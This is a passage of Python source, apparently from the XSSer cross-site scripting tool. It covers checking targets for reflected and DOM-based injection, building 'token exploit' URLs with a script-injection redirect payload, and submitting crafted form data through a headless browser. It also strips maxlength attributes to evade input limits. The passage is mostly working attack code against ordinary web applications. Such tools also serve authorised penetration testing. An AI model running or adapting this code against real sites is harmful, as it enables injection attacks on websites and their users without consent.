  1306. else:
  1307. for key, value in self.final_hashes.items():
  1308. if key in current_hashes:
  1309. if "XSA" in value:
  1310. method = "XSA"
  1311. hashing = key
  1312. elif "XSR" in value:
  1313. method = "XSR"
  1314. hashing = key
  1315. elif "COO" in value:
  1316. method = "COO"
  1317. hashing = key
  1318. else:
  1319. method = value
  1320. hashing = key
  1321. if not hashing:
  1322. pass
  1323. else:
  1324. if hashing not in dest_url:
  1325. if key in current_hashes:
  1326. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1327. b64_string = payload["payload"].split("[B64]")
  1328. b64_string = b64_string[1]
  1329. b64_string = b64_string.replace('PAYLOAD', key)
  1330. b64_string = b64encode(b64_string)
  1331. b64_string = urllib.parse.urlencode({'':b64_string})
  1332. if b64_string.startswith("="):
  1333. b64_string = b64_string.replace("=", "")
  1334. if str(b64_string) in str(dest_url):
  1335. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1336. else:
  1337. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1338. else:
  1339. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1340. self.report("")
  1341. def check_hash_on_target(self, hashing, dest_url, orig_url, payload, query_string, method, curl_handle):
  1342. options = self.options
  1343. c_info = str(curl_handle.info())
  1344. c_body = str(curl_handle.body())
  1345. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1346. b64_string = payload["payload"].split("[B64]")
  1347. b64_string = b64_string[1]
  1348. b64_string = b64_string.replace('PAYLOAD', hashing)
  1349. b64_string = b64encode(b64_string)
  1350. if b64_string.startswith("="):
  1351. b64_string = b64_string.replace("=", "")
  1352. hashing = b64_string
  1353. if payload['browser'] == "[Document Object Model Injection]":
  1354. self.check_hash_using_dom(dest_url, payload, hashing, query_string, orig_url, method) # check hash using internal headless browser engine
  1355. else:
  1356. if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
  1357. self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
  1358. else:
  1359. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1360. def check_hash_using_dom(self, dest_url, payload, hashing, query_string, orig_url, method):
  1361. if self.cookie_set_flag == False:
  1362. self.generate_headless_cookies(orig_url)
  1363. self.cookie_set_flag = True # cookie has been set!
  1364. try:
  1365. self.driver.get(dest_url) # GET
  1366. src = self.driver.page_source
  1367. except self.dom_browser_alert as alert_text: # handled with UnexpectedAlertPresentException
  1368. if (hashing in str(alert_text)): # [XSS DOM CHECKPOINT: alert() dialog open!]
  1369. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1370. self.token_arrived_hashes.append(hashing) # add token/hashing for counting
  1371. else:
  1372. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1373. else:
  1374. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1375. def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method): # some anti false positives checkers
  1376. if str(self.options.discode) in c_body: # provided by user
  1377. self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
  1378. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1379. else:
  1380. if str('&gt;' + hashing) in c_body or str('href=' + dest_url + hashing) in c_body or str('content=' + dest_url + hashing) in c_body:
  1381. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1382. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1383. elif str(hashing+",") in c_body or str(hashing+'","') in c_body:
  1384. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1385. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1386. else:
  1387. if self.options.discode:
  1388. self.report("[Info] Reply does NOT contain code [ --discode ] provided to be discarded -> [ADDING!] ;-)\n")
  1389. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1390. def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1391. """
  1392. Add an attack that failed to inject
  1393. """
  1394. if method == "heuristic":
  1395. self.report(" [NOT FOUND] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1396. self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1397. elif method == "hashing check":
  1398. self.report(" [NOT FOUND] -> [ " + str(hashing) + " ] : [ hashing_check ]")
  1399. self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1400. else:
  1401. self.report(" [NOT FOUND] -> [ " + hashing + " ] : [ " + method + " ]")
  1402. self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1403. def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1404. """
  1405. Add an attack that have managed to inject code
  1406. """
  1407. if method == "heuristic":
  1408. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1409. self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1410. elif method == "hashing check":
  1411. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1412. self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1413. else:
  1414. payload_sub = payload['payload']
  1415. self.report(" [FOUND !!!] -> [ " + hashing + " ] : [ " + method + " ]")
  1416. self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1417. for reporter in self._reporters:
  1418. reporter.add_success(dest_url)
  1419. if self.options.reversecheck:
  1420. if self.options.dcp or self.options.inducedcode or self.options.dom:
  1421. pass
  1422. else:
  1423. self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
  1424. def create_headless_embed_browser(self):
  1425. agents = [] # user-agents
  1426. self.cookie_set_flag = False # used for cookie
  1427. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  1428. for line in f:
  1429. agents.append(line)
  1430. try:
  1431. agent = random.choice(agents).strip() # set random user-agent
  1432. except:
  1433. agent = "Privoxy/1.0" # set static user-agent
  1434. try: # selenium + firefox + gecko(bin)
  1435. from selenium import webdriver
  1436. from selenium.webdriver.firefox.options import Options as FirefoxOptions
  1437. from selenium.common.exceptions import UnexpectedAlertPresentException as UnexpectedAlertPresentException # used for search alert dialogs at DOM
  1438. self.dom_browser_alert = UnexpectedAlertPresentException
  1439. profile = webdriver.FirefoxProfile()
  1440. profile.set_preference("general.useragent.override", str(agent)) # set Firefox (profile) - random user-agent
  1441. profile.set_preference('browser.safebrowsing.enabled', True)
  1442. profile.set_preference('toolkit.telemetry.enabled', False)
  1443. profile.set_preference('webdriver_accept_untrusted_certs', True)
  1444. profile.set_preference('security.insecure_field_warning.contextual.enabled', False)
  1445. profile.set_preference('security.insecure_password.ui.enabled', False)
  1446. profile.set_preference('extensions.logging.enabled', False)
  1447. options = FirefoxOptions()
  1448. options.add_argument("-headless") # set Firefox (options) - headless mode
  1449. options.add_argument("-no-remote")
  1450. options.add_argument("-no-first-run")
  1451. options.add_argument("-app")
  1452. options.add_argument("-safe-mode")
  1453. current_dir = os.getcwd()
  1454. driver = webdriver.Firefox(options=options, firefox_profile=profile, executable_path=current_dir+"/core/driver/geckodriver", log_path=os.devnull) # wrapping!
  1455. except:
  1456. driver = None
  1457. self.token_arrived_flag = False
  1458. if DEBUG == True:
  1459. traceback.print_exc()
  1460. return driver
  1461. def generate_GET_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1462. if "VECTOR" in orig_url:
  1463. dest_url = orig_url
  1464. else:
  1465. if not dest_url.endswith("/"):
  1466. dest_url = dest_url + "/"
  1467. dest_url = orig_url + query_string
  1468. dest_url = dest_url.split("#")[0]
  1469. p_uri = urlparse(dest_url)
  1470. uri = p_uri.netloc
  1471. path = p_uri.path
  1472. target_params = parse_qs(urlparse(dest_url).query, keep_blank_values=False)
  1473. for key, value in target_params.items():
  1474. if key == vector_found: # only replace parameters with valid hashes
  1475. target_params[key] = payload['payload']
  1476. else:
  1477. target_params[key] = target_params[key][0]
  1478. target_url_params = urllib.parse.urlencode(target_params)
  1479. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1480. dest_url = urllib.parse.unquote(dest_url)
  1481. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1482. return tok_url
  1483. def generate_POST_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1484. if vector_found in dest_url:
  1485. v = dest_url.split(vector_found+"=")[1]
  1486. p = v.split("&")[0]
  1487. dest_url = dest_url.replace(p, payload['payload'])
  1488. dest_url = urllib.parse.unquote(dest_url)
  1489. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1490. return tok_url
  1491. def generate_token_exploit(self, hashing, dest_url, payload):
  1492. self_url = "http://localhost:19084/success/" + hashing
  1493. shadow_js_inj = "document.location=document.location.hash.substring(1)"
  1494. shadow_inj = "<script>" + shadow_js_inj + "</script>"
  1495. _e = self.encoding_permutations
  1496. if 'VECTOR' in dest_url:
  1497. dest_url = dest_url.replace('VECTOR', payload['payload'])
  1498. if '">PAYLOAD' in dest_url:
  1499. tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
  1500. tok_url += '#' + self_url
  1501. elif "'>PAYLOAD" in dest_url:
  1502. tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
  1503. tok_url += '#' + self_url
  1504. elif "javascript:PAYLOAD" in dest_url:
  1505. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1506. tok_url = dest_url.replace("javascript:PAYLOAD", _e("javascript:" + shadow_js_inj))
  1507. tok_url+= '#' + self_url
  1508. elif '"PAYLOAD"' in dest_url:
  1509. tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
  1510. elif "'PAYLOAD'" in dest_url:
  1511. tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
  1512. elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
  1513. tok_url = dest_url.replace('PAYLOAD', self_url)
  1514. elif "SCRIPT" in dest_url:
  1515. tok_url = dest_url.replace('PAYLOAD', shadow_js_inj)
  1516. tok_url += '#' + self_url
  1517. elif 'onerror="PAYLOAD"' in dest_url:
  1518. tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
  1519. tok_url+= '#' + self_url
  1520. elif 'onerror="javascript:PAYLOAD"' in dest_url:
  1521. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1522. tok_url = dest_url.replace('onerror="javascript:PAYLOAD"', _e('onerror="javascript:' + shadow_js_inj + '"'))
  1523. tok_url+= '#' + self_url
  1524. elif '<PAYLOAD>' in dest_url:
  1525. tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
  1526. tok_url+= '#' + self_url
  1527. elif 'PAYLOAD' in dest_url:
  1528. tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
  1529. tok_url+= '#' + self_url
  1530. elif 'href' in dest_url and 'PAYLOAD' in dest_url:
  1531. tok_url = dest_url.replace('PAYLOAD', self_url)
  1532. elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
  1533. tok_url = dest_url.replace('PAYLOAD', self_url)
  1534. elif 'url' in dest_url and 'PAYLOAD' in dest_url:
  1535. tok_url = dest_url.replace('PAYLOAD', self_url)
  1536. return tok_url
  1537. def do_token_check(self, orig_url, hashing, payload, query_string, dest_url): # searching for a [100% VULNERABLE] XSS exploit!
  1538. tok_url = None
  1539. tok_total = []
  1540. if self.hash_found:
  1541. for l in self.hash_found:
  1542. vector_found = l[2]
  1543. hash_found = l[3]
  1544. if hashing in hash_found:
  1545. if not self.options.postdata: # GET
  1546. tok_url = self.generate_GET_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1547. else: # POST
  1548. tok_url = self.generate_POST_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1549. if tok_url:
  1550. self.send_token_exploit(orig_url, tok_url, hashing, vector_found)
  1551. def generate_headless_cookies(self, orig_url): # generate cookies for headless browser engine
  1552. self.driver.get(orig_url)
  1553. r_cookies = self.driver.get_cookies() # get cookies
  1554. if self.options.cookie:
  1555. from http.cookies import SimpleCookie # import SimpleCookie
  1556. cookie = SimpleCookie()
  1557. cookie.load(self.options.cookie)
  1558. for key, morsel in cookie.items():
  1559. for c in r_cookies:
  1560. if key == c["name"]:
  1561. c["value"] = str(morsel.value)
  1562. for c in r_cookies:
  1563. self.driver.add_cookie(c) # add cookies to driver
  1564. def send_token_exploit(self, orig_url, tok_url, hashing, vector_found):
  1565. try:
  1566. if self.cookie_set_flag == False:
  1567. self.generate_headless_cookies(orig_url)
  1568. self.cookie_set_flag = True # cookie has been set!
  1569. if self.options.postdata: # GET + web forms scrapping + POST
  1570. self.driver.get(orig_url) # GET request to store forms
  1571. tok_parsed = parse_qs(tok_url)
  1572. param_found = []
  1573. for param_parsed in tok_parsed: # find params
  1574. param = self.driver.find_element_by_name(param_parsed) # by name
  1575. if not param:
  1576. param = self.driver.find_element_by_id(param_parsed) # by id
  1577. if param:
  1578. value = str(tok_parsed[param_parsed])
  1579. if "#http://localhost:19084/success/"+str(hashing) in value: # re-parsing injected params for POST
  1580. value = value.replace("#http://localhost:19084/success/"+str(hashing), "")
  1581. if "<script>document.location=document.location.hash.substring(1)</script>" in value:
  1582. value = value.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
  1583. if "['" in value:
  1584. value = value.replace("['", "")
  1585. if "']" in value:
  1586. value = value.replace("']", "")
  1587. param.send_keys(str(value))
  1588. param_found.append(param)
  1589. max_length = param.get_attribute("maxlength")
  1590. if max_length: # bypass max length filters by changing DOM | black magic!
  1591. self.driver.execute_script("arguments[0].setAttribute('maxlength', arguments[1])", param, '9999999')
  1592. if len(param_found) == len(tok_parsed): # form fully filled!
  1593. login = self.driver.find_element_by_xpath("//*[@type='submit']") # find submit by type
  1594. login.click() # click it!
  1595. else: # GET
  1596. self.driver.get(tok_url)
  1597. if tok_url not in self.final_attacks:
  1598. self.final_attacks[hashing] = {'url': tok_url}
  1599. self.token_arrived_flag = True
  1600. else:
  1601. self.token_arrived_flag = False
  1602. except:
  1603. self.token_arrived_flag = False
  1604. if DEBUG == True:
  1605. traceback.print_exc()
  1606. def _report_attack_failure(self, curl_handle, dest_url, payload,\
  1607. query_string, orig_url):
  1608. """
  1609. report connection failure of an attack
  1610. """
  1611. options = self.options
  1612. current_hashes = [] # to check for ongoing hashes
  1613. if payload['browser'] == "[Heuristic test]":
  1614. for key, value in self.hashed_injections.items():
  1615. if key not in current_hashes:
  1616. self.final_hashes[key] = value
  1617. current_hashes.append(key)
  1618. elif self.options.hash:
  1619. for key, value in self.hashed_injections.items():
  1620. self.final_hashes[key] = value
  1621. current_hashes.append(key)
  1622. else:
  1623. self.report("-"*45)
  1624. self.report("\n[!] Hashing: \n")
  1625. for key, value in self.hashed_injections.items():
  1626. if str(key) in str(dest_url): # GET
  1627. if key not in current_hashes:
  1628. self.report(" [ " +key+" ] : [" , value + " ]")
  1629. self.final_hashes[key] = value
  1630. current_hashes.append(key)
  1631. else:
  1632. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1633. b64_string = payload["payload"].split("[B64]")
  1634. b64_string = b64_string[1]
  1635. b64_string = b64_string.replace('PAYLOAD', key)
  1636. b64_string = b64encode(b64_string)
  1637. b64_string = urllib.parse.urlencode({'':b64_string})
  1638. if b64_string.startswith("="):
  1639. b64_string = b64_string.replace("=", "")
  1640. if str(b64_string) in str(dest_url):
  1641. if key not in current_hashes:
  1642. self.report(" [ " +key+" ] : [" , value + " ]")
  1643. self.final_hashes[key] = value
  1644. current_hashes.append(key)
  1645. else: # when using encoders (Str, Hex, Dec...)
  1646. payload_string = payload["payload"].replace("PAYLOAD", key)
  1647. hashed_payload = self.encoding_permutations(payload_string)
  1648. if self.options.Cem:
  1649. enc_perm = options.Cem.split(",")
  1650. for e in enc_perm:
  1651. hashed_payload = self.encoding_permutations(payload_string)
  1652. if e == "Str":
  1653. hashed_payload = hashed_payload.replace(",", "%2C")
  1654. if e == "Mix":
  1655. hashed_payload=urllib.parse.quote(hashed_payload)
  1656. if e == "Dec":
  1657. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1658. if e == "Hex":
  1659. hashed_payload = hashed_payload.replace("%", "%25")
  1660. if e == "Hes":
  1661. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1662. hashed_payload = hashed_payload.replace(";", "%3B")
  1663. else:
  1664. if self.options.Str:
  1665. hashed_payload = hashed_payload.replace(",", "%2C")
  1666. if self.options.Mix:
  1667. hashed_payload=urllib.parse.quote(hashed_payload)
  1668. if self.options.Dec:
  1669. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1670. if self.options.Hex:
  1671. hashed_payload = hashed_payload.replace("%", "%25")
  1672. if self.options.Hes:
  1673. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1674. hashed_payload = hashed_payload.replace(";", "%3B")
  1675. if str(hashed_payload) in str(dest_url):
  1676. if key not in current_hashes:
  1677. self.report(" [ " +key+" ] : [" , value + " ]")
  1678. self.final_hashes[key] = value
  1679. current_hashes.append(key)
  1680. if self.extra_hashed_injections:
  1681. for k, v in self.extra_hashed_injections.items():
  1682. payload_url = str(v[1])
  1683. if payload_url == payload["payload"]:
  1684. if k not in current_hashes:
  1685. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1686. self.final_hashes[k] = v[0]
  1687. current_hashes.append(k)
  1688. self.report("\n"+"-"*45+"\n")
  1689. if payload['browser'] == "[Heuristic test]":
  1690. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1691. else:
  1692. if self.extra_hashed_injections:
  1693. extra_attacks=[]
  1694. if options.xsa:
  1695. extra_attacks.append("XSA")
  1696. if options.xsr:
  1697. extra_attacks.append("XSR")
  1698. if options.coo:
  1699. extra_attacks.append("COO")
  1700. if extra_attacks:
  1701. extra_attacks = "+ "+ str(extra_attacks)
  1702. if options.postdata:
  1703. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1704. else:
  1705. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1706. else:
  1707. if options.postdata:
  1708. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1709. else:
  1710. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1711. if not self.options.hash and not self.options.script:
  1712. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1713. pass
  1714. else:
  1715. self.report("-"*45)
  1716. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1717. pass
  1718. else:
  1719. if not "XSS" in dest_url or not "X1S" in dest_url:
  1720. if self.options.xsa or self.options.xsr or self.options.coo:
  1721. pass
  1722. else:
  1723. self.report("-"*45)
  1724. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1725. if not self.options.verbose:
  1726. self.report("-"*45 + "\n")
  1727. else:
  1728. self.report("-"*45)
  1729. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1730. if not self.options.verbose:
  1731. self.report("-"*45 + "\n")
  1732. # statistics injections counters
  1733. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1734. self.check_positives = self.check_positives + 1
  1735. elif payload['browser']=="[Data Control Protocol Injection]":
  1736. self.dcp_injection = self.dcp_injection + 1
  1737. elif payload['browser']=="[Document Object Model Injection]":
  1738. self.dom_injection = self.dom_injection + 1
  1739. elif payload['browser']=="[Induced Injection]":
  1740. self.httpsr_injection = self.httpsr_injection + 1
  1741. elif payload['browser']=="[manual_injection]":
  1742. self.manual_injection = self.manual_injection + 1
  1743. else:
  1744. self.auto_injection = self.auto_injection +1
  1745. if not self.hashed_injections:
  1746. for k, v in self.extra_hashed_injections.items():
  1747. if k in current_hashes:
  1748. if v[0] == "XSA":
  1749. agent = v[1]
  1750. agent = agent.replace("PAYLOAD", k)
  1751. Curl.agent = agent
  1752. if v[0] == "XSR":
  1753. referer = v[1]
  1754. referer = referer.replace("PAYLOAD", k)
  1755. Curl.referer = referer
  1756. if v[0] == "COO":
  1757. cookie = v[1]
  1758. cookie = cookie.replace("PAYLOAD", k)
  1759. Curl.cookie = cookie
  1760. else:
  1761. for key, value in self.hashed_injections.items():
  1762. for k, v in self.extra_hashed_injections.items():
  1763. payload_url = v[1]
  1764. payload_url = payload_url.replace("PAYLOAD",key)
  1765. payload_url = payload_url.replace(" ", "+") # black magic!
  1766. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1767. if payload_url in final_dest_url:
  1768. if v[0] == "XSA":
  1769. agent = v[1]
  1770. agent = agent.replace("PAYLOAD", k)
  1771. Curl.agent = agent
  1772. if v[0] == "XSR":
  1773. referer = v[1]
  1774. referer = referer.replace("PAYLOAD", k)
  1775. Curl.referer = referer
  1776. if v[0] == "COO":
  1777. cookie = v[1]
  1778. cookie = cookie.replace("PAYLOAD", k)
  1779. Curl.cookie = cookie
  1780. else:
  1781. if k in current_hashes:
  1782. if v[0] == "XSA":
  1783. agent = v[1]
  1784. agent = agent.replace("PAYLOAD", k)
  1785. Curl.agent = agent
  1786. if v[0] == "XSR":
  1787. referer = v[1]
  1788. referer = referer.replace("PAYLOAD", k)
  1789. Curl.referer = referer
  1790. if v[0] == "COO":
  1791. cookie = v[1]
  1792. cookie = cookie.replace("PAYLOAD", k)
  1793. Curl.cookie = cookie
  1794. if options.verbose:
  1795. self.report("-"*45)
  1796. self.report("\n[+] HTTP Headers Verbose:\n")
  1797. self.report(" [Client Request]")
  1798. Curl.print_options()
  1799. self.report(" [Server Reply]\n")
  1800. self.report(curl_handle.info())
  1801. self.report("="*45)
  1802. self.report("[*] Injection(s) Results:")
  1803. self.report("="*45 + "\n")
  1804. if payload['browser']=="[Heuristic test]":
  1805. for key, value in self.final_hashes.items():
  1806. if str(key) in dest_url:
  1807. heuristic_string = key
  1808. heuristic_param = str(payload['payload']).strip('XSS')
  1809. if heuristic_param == "\\":
  1810. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1811. elif heuristic_param == "/":
  1812. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1813. elif heuristic_param == ">":
  1814. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1815. elif heuristic_param == "<":
  1816. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1817. elif heuristic_param == ";":
  1818. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1819. elif heuristic_param == "'":
  1820. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1821. elif heuristic_param == '"':
  1822. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1823. elif heuristic_param == "=":
  1824. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1825. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1826. elif self.options.hash:
  1827. for key, value in self.final_hashes.items():
  1828. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1829. self.report("\n" +"="*45)
  1830. else:
  1831. for key, value in self.final_hashes.items():
  1832. if "XSA" in value:
  1833. method = "xsa"
  1834. hashing = key
  1835. elif "XSR" in value:
  1836. method = "xsr"
  1837. hashing = key
  1838. elif "COO" in value:
  1839. method = "coo"
  1840. hashing = key
  1841. else:
  1842. method = "url"
  1843. hashing = key
  1844. if self.options.Str:
  1845. payload_string = payload["payload"].replace("PAYLOAD", key)
  1846. hashed_payload = self.encoding_permutations(payload_string)
  1847. hashed_payload = hashed_payload.replace(",", "%2C")
  1848. if str(hashed_payload) in str(dest_url):
  1849. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1850. elif self.options.Mix:
  1851. payload_string = payload["payload"].replace("PAYLOAD", key)
  1852. hashed_payload = self.encoding_permutations(payload_string)
  1853. hashed_payload=urllib.parse.quote(hashed_payload)
  1854. if str(hashed_payload) in str(dest_url):
  1855. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1856. elif self.options.Dec:
  1857. payload_string = payload["payload"].replace("PAYLOAD", key)
  1858. hashed_payload = self.encoding_permutations(payload_string)
  1859. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1860. if str(hashed_payload) in str(dest_url):
  1861. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1862. elif self.options.Hex:
  1863. payload_string = payload["payload"].replace("PAYLOAD", key)
  1864. hashed_payload = self.encoding_permutations(payload_string)
  1865. hashed_payload = hashed_payload.replace("%", "%25")
  1866. if str(hashed_payload) in str(dest_url):
  1867. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1868. elif self.options.Hes:
  1869. payload_string = payload["payload"].replace("PAYLOAD", key)
  1870. hashed_payload = self.encoding_permutations(payload_string)
  1871. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1872. hashed_payload = hashed_payload.replace(";", "%3B")
  1873. if str(hashed_payload) in str(dest_url):
  1874. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1875. else:
  1876. if self.options.Cem:
  1877. enc_perm = options.Cem.split(",")
  1878. payload_string = payload["payload"].replace("PAYLOAD", key)
  1879. for e in enc_perm:
  1880. hashed_payload = self.encoding_permutations(payload_string)
  1881. if str(e) == "Str":
  1882. hashed_payload = hashed_payload.replace(",", "%2C")
  1883. if e == "Mix":
  1884. hashed_payload=urllib.parse.quote(hashed_payload)
  1885. if e == "Dec":
  1886. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1887. if e == "Hex":
  1888. hashed_payload = hashed_payload.replace("%", "%25")
  1889. if e == "Hes":
  1890. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1891. hashed_payload = hashed_payload.replace(";", "%3B")
  1892. if str(hashed_payload) in str(dest_url):
  1893. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1894. else:
  1895. if str(key) in str(dest_url):
  1896. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1897. else:
  1898. if key in current_hashes:
  1899. if method == "xsa":
  1900. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSA") # failed!
  1901. elif method == "xsr":
  1902. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSR") # failed!
  1903. elif method == "coo":
  1904. self.add_failure(dest_url, payload, key, query_string, orig_url, "COO") # failed!
  1905. self.report("\n" +"="*45)
  1906. if str(curl_handle.info()["http-code"]) == "404":
  1907. self.report("\n[Error] 404 Not Found: The server has not found anything matching the Request-URI\n")
  1908. elif str(curl_handle.info()["http-code"]) == "403":
  1909. self.report("\n[Error] 403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
  1910. elif str(curl_handle.info()["http-code"]) == "400":
  1911. self.report("\n[Error] 400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
  1912. elif str(curl_handle.info()["http-code"]) == "401":
  1913. self.report("\n[Error] 401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are typed correctly\n")
  1914. elif str(curl_handle.info()["http-code"]) == "407":
  1915. self.report("\n[Error] 407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
  1916. elif str(curl_handle.info()["http-code"]) == "408":
  1917. self.report("\n[Error] 408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
  1918. elif str(curl_handle.info()["http-code"]) == "500":
  1919. self.report("\n[Error] 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
  1920. elif str(curl_handle.info()["http-code"]) == "501":
  1921. self.report("\n[Error] 501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
  1922. elif str(curl_handle.info()["http-code"]) == "502":
  1923. self.report("\n[Error] 502 Bad Gateway: The server received an invalid response from the upstream server\n")
  1924. elif str(curl_handle.info()["http-code"]) == "503":
  1925. self.report("\n[Error] 503 Service Unavailable: The server is currently unable to handle the request [OFFLINE!]\n")
  1926. elif str(curl_handle.info()["http-code"]) == "504":
  1927. self.report("\n[Error] 504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
  1928. elif str(curl_handle.info()["http-code"]) == "0":
  1929. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  1930. else:
  1931. self.report("\n[Error] Not injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
  1932. if str(curl_handle.info()["http-code"]) == "404":
  1933. self.not_connection = self.not_connection + 1
  1934. elif str(curl_handle.info()["http-code"]) == "503":
  1935. self.forwarded_connection = self.forwarded_connection + 1
  1936. else:
  1937. self.other_connection = self.other_connection + 1
  1938. def check_positive(self, curl_handle, dest_url, payload, query_string):
  1939. """
  1940. Perform extra check for positives
  1941. """
  1942. body = curl_handle.body()
  1943. pass
  1944. def create_options(self, args=None):
  1945. """
  1946. Create options for OptionParser.
  1947. """
  1948. self.optionParser = XSSerOptions()
  1949. self.options = self.optionParser.get_options(args)
  1950. if not self.options:
  1951. return False
  1952. return self.options
  1953. def _get_attack_urls(self):
  1954. """
